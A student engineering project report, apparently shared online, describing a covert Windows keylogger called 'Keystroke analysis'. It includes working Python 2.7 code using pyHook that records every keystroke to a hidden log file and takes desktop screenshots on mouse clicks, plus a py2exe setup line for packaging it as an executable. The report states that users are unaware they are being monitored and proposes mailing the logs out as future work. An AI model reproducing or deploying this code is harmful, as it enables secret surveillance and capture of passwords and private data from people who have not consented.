Professional Documents
Culture Documents
BACHELOR OF ENGINEERING
IN
INFORMATION TECHNOLOGY
BY
Mr. Srikanth Mamidi (1602-12-737-110)
Mr. D.Saikiran (1602-11-737-098)
Mrs. Divya
Mrs.DRL Prasanna
Mr. Satyaveer
Mr. Purshotham
CERTIFICATE
The results embodied in this project have not been submitted to any other University of
Institution for the award of any degree or diploma.
Guides: Examiner:
This project would be incomplete without acknowledging the help provided by the
faculty members of the Department of Information Technology, Vasavi College of Engineering.
We would like to express our gratitude and sincere thanks to Our beloved Principal Ramana
Murthy, Prof.N.Vasantha, Head of the Department for giving us the opportunity of working on
the present project.
We are thankful to all those who have helped us and guided us in making this project.
We are also thankful to the staff of the Department Computer Centre without whose help and
Suggestions, none of this wouldve been possible.
TABLE OF CONTENTS:
ABSTRACT
LITERATURE SURVEY
Chapter 1 : Introduction
3.1 Coding
5.1 Conclusion
5.2 Future Scope
ABSTRACT
Title: Keystroke analysis
Objective:
Here the project is developing a windows app for pc called key stroke analysis. Key logger is a
application used for for action of tracking the keys when ever user presses keyboard, keyword
strokes are captured in converted manner so users are unaware that their actions are monitored.
This software also contain that action of capturing the desktop if a person is using the mouse or
joystick instead of keyboard that can ultimately be stored in a hidden log file that log file is being
viewed by administrator only. It can be accessed by administrator only.
This technology can be used for finding out all the sites and files which are being accessed by
any person in the administrators absence.
The project can be used for proper identification and authentication. The typing dynamics can be
used for different user profiles. Thus this becomes a valid tool for ascertaining personal identity.
Software requirements:
python 2.7
py2exe
Hardware requirements:
Processor: 1 gigahertz (GHz)
RAM:1 gigabyte(GB)(64-bit)
Hard disk space:16 GB(64-bit)
Project members:
D .Sai Kiran (1602-12-737-098).
M. Srikanth (1602-12-737-110).
Literature Survey
Title: Keystroke analysis
Objective:
Here the project is developing a windows app for pc and the app called key stroke analysis. Key
logger is a application used for for action of tracking the keys when ever user presses keyboard,
keyword strokes are captured in converted manner so users are unaware that their actions are
monitored.
This software also contain that action of capturing the desktop if a person is using the mouse or
joystick instead of keyboard that can ultimately be stored in a hidden log file that log file is being
viewed by administrator only.It can be accessed by administrator only.
This technology can be used for finding out all the sites and files which are being accessed by
any person in the administrators absence.
The project can be used for proper identification and authentication. The typing dynamics can be
used for different user profiles. Thus this becomes a valid tool for ascertaining personal identity.
Existing system:
here the windows app which already exist captures just the key strokes. since the application is
hidden user is unaware that his actions are monitored
Proposed system:
So here in the mini project we want to develop the code for the windows app by using the
languages python here we would like to include certain extra features to the key logger such as
recording desktop activity taking the screen shorts at regular intervals , logs are encrypted. The
application is very easy to use so that customers feel happy while using this.
Project members:
D .Sai Kiran (1602-12-737-098).
M. Srikanth (1602-12-737-110).
References:
www.python.org
www.coursera.org
CHAPTER 1
INTRODUCTION
1.1 About the Project
Here the project is developing a windows app for pc and the app called key stroke analysis. Key
logger is a application used for for action of tracking the keys when ever user presses keyboard,
keyword strokes are captured in converted manner so users are unaware that their actions are
monitored.
This software also contain that action of capturing the desktop if a person is using the mouse or
joystick instead of keyboard that can ultimately be stored in a hidden log file that log file is being
viewed by administrator only. It can be accessed by administrator only.
This technology can be used for finding out all the sites and files which are being accessed by
any person in the administrators absence.
The project can be used for proper identification and authentication. The typing dynamics can be
used for different user profiles. Thus this becomes a valid tool for ascertaining personal identity
1.2 Python programming language
Python is a widely used general-purpose, high-level programming language. Its design philosophy
emphasizes code readability, and its syntax allows programmers to express concepts in fewer line
of code than would be possible in languages such as C++ or Java. The language provides
constructs intended to enable clear programs on both a small and large scale.
Python interpreters are available for installation on many operating systems, allowing Python code
execution on a majority of systems. Using third-party tools, such as Py2exe or Pyinstaller, Python
code can be packaged into stand-alone executable programs for some of the most popular operating
systems, allowing for the distribution of Python-based software for use on those environments
without requiring the installation of a Python interpreter.
FEATURES:-
1. Simple
2. Open source
3. High level Language
4. Interpreted
5. Extensive Libraries
Py2exe Converter:
CHAPTER 2
SYSTEM ANALYSIS AND DESIGN
2.1 Use Case Diagram:
2.4 Sequence Diagram:
2.5 Hardware ,Languages and Software Requirements:
Hardware Requirements:
Processor: 2.4 gigahertz (GHz)
Languages required:
PYTHON
Software Requirements:
Python 2.7
PY2EXE Converter
This Project is done using Py2exe converter. Py2exe is used to convert the python code into an
executable file by using setup file. the coding part of the project is done using python
programming language. Python idle is used to run the python code and convert it into exe using
py2exe converter.
CHAPTER 3
CODING SNIPPETS
3.1Coding:
Keylogger.py
import ImageGrab
import pythoncom, pyHook, sys
import time, threading
print "keylogger"
def OnKeyboardEvent(event):
file = open('D:\MP\logs\engu.txt', 'a')
msg = str(chr(event.Ascii))
file.write(msg)
return True
def shot():
im=ImageGrab.grab()
name = time.ctime().replace(':', '-')
im.save(name+'.jpg')
print 'taken'
time.sleep(10)
def OnMouseEvent(event):
shot_thr = threading.Thread(target=shot, args=())
shot_thr.daemon = True
shot_thr.start()
print 'done'
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.MouseAllButtonsDown = OnMouseEvent
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()
Setup.py:
setup(console=['Keylogger.py'])
CHAPTER 4
The app can be further extended to add certain extra features like mailing the logs that
are stored in the log file.